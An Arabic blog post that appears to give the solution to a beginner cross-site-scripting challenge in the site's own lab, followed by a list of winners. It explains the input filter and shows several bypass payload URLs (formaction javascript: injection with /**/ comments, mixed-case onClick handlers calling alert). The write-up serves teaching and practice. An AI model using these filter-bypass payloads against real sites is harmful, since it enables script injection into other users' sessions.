بعد نشر مقال التحدي الثاني لنا هنا والذي يتحدث عن إستغلال ثغرة xss – cross site scripting داخل مُختبر بسيط لنا ، ننشر لكم حله اليوم بإذن الله.

 

التحليل

isecur1ty-challenges.com/xss/beginner/level-2.php?xss=xxxx

يمكنك حقن الباي لود الخاص بك في xss كالعادة

أولاً يجب عليك ان تفهم الفلتر جيداً وتضع الفكرة الاساسية الكود موجود في الزر

<button form=’xss here’>HERE</button>

الفلتر :

  1. احداث الon تفلتر بقيم الاحرف الsmall الصغيرة ولا تفلتر بالكبيرة لذا يمكن حقن اي كود هنا  .
  2. ال(“) و (>) و (<) ايضا مفلترات .
  3. الفراغات مفلترة .
  4. بين ال(‘) وكلمات alert, confirm ايضا يتم الفلترة لذلك يجب وضع مسافة .

 

تكوين الباي لود : الحل الاول .

بعد رؤية ما يقوم الفلتر به الان يجب ان تكون الباي لود الخاص بك

 

http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=xxxx

يوجد العديد من الحلول وبطرق مختلفة سنتظرق الى اسهل طريقة بدون اللجوء الى التعقيدات .

باعتبار ان ال<button > هناك العديد من الاحداث يكن حقنها هنا لكن بعض المشاركين حقنوا اكواد css انت لا تحتاج الى كود css لانه الزر ظاهر ولا يحتاج الى كود اظهار او تلاعب .

يمكنك معرفة ان <button > يقبل اتربيوت (formaction) يمكن وضع الaction الى رابط وتحويله الى جافا سكربت .

كل ما عليك فعله هو الاتي وضع علامة / بين الاتربيوت لعمل فاصلة لان الفراغ غير مسموح .

http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=xxx’/formaction=’javascript:alert(1)’x

نفتح السورس كود لنرى كيف يعمل الكود

xsssolve1

قام بفلترة كلمة alert بمسح حرف الa نستنتج ان كلمة alert بعد ال(:) مفلترة .

يمكنك حل هذه المشكلة بطريقتين :

1- وضع فراغ بين الامر والعلامات /**/ سيمرره المتصفح كتعليق ولا يؤثر على الامر .

2- الاستعانة باوامر اخرى لحل التحدي منها confirm – prompt .

لنضع الان /**/  في الباي لود

http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=test’/formaction=’javascript:/**/alert(document.domain)xx

مفتح السورس كود

xsssolve2

لا يوجد اي تغير في الكود لنرى ان كان يعمل بصورة جيدة ونضغط على HERE

xsssolve3

الكود عمل بصورة طبيعية وبذلك تم الحل

الحل الأخر 

يمكنك حقن احداث جافا سكربت مثل “onclick” تم فلترة هذه الاحداث بصورة الصغيرة فقط يمكنك التلاعب بالاحرف بجعل بعضها كبير وسوف يتم التخطي مثل حدث onclick يمكنك تخطي الفلتر بجعله oNcLick مثلاً لكن ستواجهك مشكلة هي مشكلة ان كل امر بعد = سيتم فلترته وكل امر بعد ‘ ايضا لذلك يجب وضع فراغ او استعمال بعد : prompt فهي غير مفلترة

 

يوجد العديد من الحلول اليكم بعضها :

 

http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=’onClick='(alert(/yahia-_-/))xx

http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=hello’/ONCLICK=’self.alert(document.domain)xx

http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=’onClick=’;alert(document.domain);xx

http://isecur1ty-challenges.com/xss/beginner/level-2.php?xss=’onClick=’!alert(1234)xx

أسماء الفائزين

  • Mustafa Ahmed Abduljabber
  • Alhasan A. Al-Nasiry
  • Bahmed Mohamed
  • يحي عبد الواحد بولحية
  • Mohammed Diaa
  • Mesh3L
  • lotfi
  • Mohamed A. Baset
  • ismail belghit
  • Mazin Ahmed
  •  Saad AlJarallah
  • Abdullah
  • Mohammad AlTawil
  • sudqi jawabreh
  • Mohamed Tahar Kedjour
  • BeM DH
  • Ahmed Hussien Mohamed Abo-Taleb
  • Ishaq Sayid
  • Musab Moh. Salih
  • Hammami Chouaib
  • Asim Jaweesh
  •  Faisal Ait Hamou
  • Yazan Tommalieh
  • Sick-Sec(Gamal Nigm)
  • s3cure
  • Raad Haddad
  • Koutrouss Naddara
  • Mustafa Hasan

 

شكراً لل 900 مشارك في التحدي ومبروك للفائزين وحظاً أوفر للذين لم يكتشفوا الحل ولنا لقاء أخر في تحديات المحترفين.